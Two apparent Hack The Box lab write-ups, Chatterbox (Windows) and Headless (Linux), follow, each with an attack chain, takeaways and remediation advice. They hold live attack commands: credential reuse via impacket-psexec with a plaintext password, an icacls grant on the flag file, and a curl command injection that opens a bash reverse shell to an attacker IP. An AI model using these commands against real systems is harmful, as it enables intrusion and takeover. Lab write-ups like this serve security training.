Chatterbox writeup

Box name: Chatterbox

Difficulty: Medium

OS: Windows

Overview: Chatterbox is a fairly straightforward machine that requires basic exploit modification or Metasploit troubleshooting skills to complete.

Link: https://app.hackthebox.com/machines/Chatterbox?sort_by=created_at&sort_type=desc

Machine IP: 10.129.9.221

Ran rustscan.

rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn

Checked out smb port but looks like I don’t get anything. 

smbclient -N -L //10.129.9.221/

Trying to check out the http server nothing resolves. I checked for exploits on Achat though and found this https://github.com/mpgn/AChat-Reverse-TCP-Exploit. Looks like its vulnerable to a buffer overflow. Edited the exploit and got a meterpreter but then my shell kept dying. After rewriting it with a windows/shell_reverse_tcp it’s more stable.

I will do manual enumeration first before using an automated tool as I still need windows practice. Also here is user.txt.

I checked an interesting registry key and tried reusing the password we have for Administrator I was able to get more privilege but not root.txt.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

But we atleast know that the password works. Got a shell with impacket-psexec.

impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

But I still can’t read root.txt.

This took a bit but I was eventually able to grant everyone access to the file with icacls and then read it.

icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

GG

Attack Chain

1 — Reconnaissance Ran RustScan to identify open ports. Found SMB and ports 9255/9256 (Achat chat service). SMB returned nothing without credentials. HTTP did not resolve. Researched Achat and identified a known buffer overflow vulnerability.

rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn smbclient -N -L //10.129.9.221/

2 — Initial Access — Achat buffer overflow Located a public Achat reverse TCP exploit. Edited the payload with the attacker IP and port. Initial Meterpreter shell was unstable and kept dying — rewrote the shellcode using windows/shell_reverse_tcp for a stable shell. Retrieved user.txt.

3 — Privilege Escalation — Winlogon credential reuse Performed manual Windows enumeration. Queried the Winlogon registry key and recovered stored credentials. Attempted to reuse the Administrator password — authentication succeeded but root.txt was not readable due to file permissions.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

4 — Lateral Movement — psexec as Administrator Used impacket-psexec with the recovered credentials to obtain an Administrator shell. root.txt was still unreadable due to restrictive ACLs on the file itself.

impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

5 — Post-Exploitation — ACL manipulation to read root.txt Granted full access to root.txt for Everyone using icacls, then read the flag.

icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

Key Takeaways

1. Achat running on non-standard ports — The chat service was exposed on ports 9255/9256 with a known buffer overflow. Any non-standard service exposed to the network must be identified and assessed. Legacy or niche software rarely receives timely patches.
2. Credentials stored in Winlogon registry — Autologon credentials were stored in plaintext in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. This is a common misconfiguration that immediately hands attackers valid credentials.
3. Password reuse across accounts — The same password was valid for the Administrator account. Passwords must be unique per account. Credential reuse across privilege boundaries is a critical finding.
4. Overly permissive ACL modification allowed — A low or medium privilege user was able to run icacls to grant themselves access to a file owned by Administrator. Write permissions on sensitive file paths must be restricted.
5. Unstable exploit requiring shellcode adjustment — The initial Meterpreter payload was unreliable, requiring a switch to a simpler shell payload. This is common with buffer overflow exploits and highlights the importance of understanding the underlying exploit rather than relying on defaults.

Remediation

[Immediate] Patch or remove Achat Achat is an unsupported application with a public buffer overflow exploit. Remove it from all systems immediately. If a chat service is required, replace it with a supported, actively maintained alternative. Block ports 9255 and 9256 at the firewall.

[Immediate] Remove autologon credentials from registry Delete the plaintext credentials stored under the Winlogon registry key. Autologon should never be enabled on servers or systems accessible over a network. If autologon is required for operational reasons, use the Autologon utility with encrypted credential storage and restrict physical access to the machine.

[Immediate] Enforce unique passwords per account The Administrator account shared a password with another account. Implement a password policy enforcing uniqueness across accounts. Use a privileged access management (PAM) solution to rotate and vault Administrator credentials.

[Short-term] Restrict ACL modification permissions Audit which users can modify file ACLs using icacls or similar tools. Standard and service accounts should not have the ability to grant themselves or others access to files outside their scope. Apply the principle of least privilege to all file system permissions.

[Long-term] Audit all non-standard services and ports Implement a network asset inventory and regularly scan for services running on non-standard ports. Any application that cannot be patched or supported should be decommissioned. Include third-party and legacy chat, admin, and utility tools in the vulnerability management scope.

Headless writeup

Difficulty: Easy

OS: Linux

Overview: Headless is an easy-difficulty Linux machine that features a Python Werkzeug server hosting a website. The website has a customer support form, which is found to be vulnerable to blind Cross-Site Scripting (XSS) via the User-Agent header. This vulnerability is leveraged to steal an admin cookie, which is then used to access the administrator dashboard. The page is vulnerable to command injection, leading to a reverse shell on the box. Enumerating the user’s mail reveals a script that does not use absolute paths, which is leveraged to get a shell as root.

Link: https://app.hackthebox.com/machines/Headless?sort_by=created_at&sort_type=desc

Machine IP: 10.129.8.19

Scanned the machine with Rustscan.

rustscan -a 10.129.8.19 --ulimit 5000 -b 2000 -- -A -Pn

Checked out the http server.

Right away this reminded me of Shellshock but no suck if that would be the attack avenue. Kicked off feroxbuster.

feroxbuster -u http://10.129.8.19:5000/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

Nothing interesting in robots.txt or source code. The For questions buttons brings us to a new page.

I was playing around with some XSS and looks like I was flagged. 

This looks vulnerable to XSS. Something that would be interesting to find is the proper Cookie that gives us additional access, specifically to /dashboard that feroxbuster found. Currently this is catching our header though. Popped up an http listener and after some testing we were able to get the admin cookie.

curl -X POST http://10.129.8.19:5000/support \
-H "User-Agent: " \
--data-urlencode "fname=test" \
--data-urlencode "lname=test" \
--data-urlencode "email=test@test.com" \
--data-urlencode "phone=1234567890" \
--data-urlencode "message=killmepls"

Didn’t get a screenshot and this must be on some timer because rerunning the command I don’t get it. This was the response though is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0.

I added it to my cookie value in Storage Dev tools, refreshed and we get access to the Administrator Dashboard.

It looks like we can generate reports from this page. When running this it tells us the ‘Systems are up and running!’ This is likely running some command on the backend. In the input field I won’t be able to put a command. Confirmed with ‘id’.

curl -X POST http://10.129.8.19:5000/dashboard \
-H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
--data-urlencode "date=2023-09-15;id""

Now we try and get a shell. After a bit of testing this worked:

curl -X POST http://10.129.8.19:5000/dashboard \
-H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
--data-urlencode "date=2023-09-15;bash -c 'bash -i >& /dev/tcp/10.10.14.42/1337 0>&1'"”

Got user.txt

Ran sudo -l and we see /usr/bin/syscheck.

I checked GTFObins but it looks like it’s not a built in linux binary. I was able to read the file though.

As ./initdb.sh is calling the relative path and not an absolute path we can take advantage of that. Created my own initdb.sh that would get us root, ran the binary and we’re root.

GG

Full Attack Chain Summary

Key Takeaways

Trust no input — including headers. Most devs sanitize form fields but forget that User-Agent, Referer, and X-Forwarded-For are also attacker-controlled. Anything the server logs and later renders is an injection point.

Blind XSS is powerful precisely because you never see it fire. The payload lives in a log, gets rendered later in a different context (the admin panel), and executes there. Traditional XSS scanners often miss this entirely.

Session cookies without HttpOnly are trivially stealable. One flag would have broken the entire chain at step 4.

Relative paths in privileged scripts are a classic privesc. ./initdb.sh means “look in whatever directory I’m currently in” — an attacker controls that.

Remediations

Blind XSS — sanitize all HTTP headers before storing or rendering them. Use a Content Security Policy (CSP) to restrict what scripts can execute and where they can send data.

Cookie theft — set HttpOnly and Secure flags on session cookies. HttpOnly makes cookies inaccessible to JavaScript entirely.

Command injection — never pass user input directly to a shell. Use parameterized commands or a proper library (Python’s subprocess with a list, not a string).

Privilege escalation — always use absolute paths in scripts that run with elevated privileges. Audit sudo rules regularly and apply least privilege — dvir had no business running a system health script as root.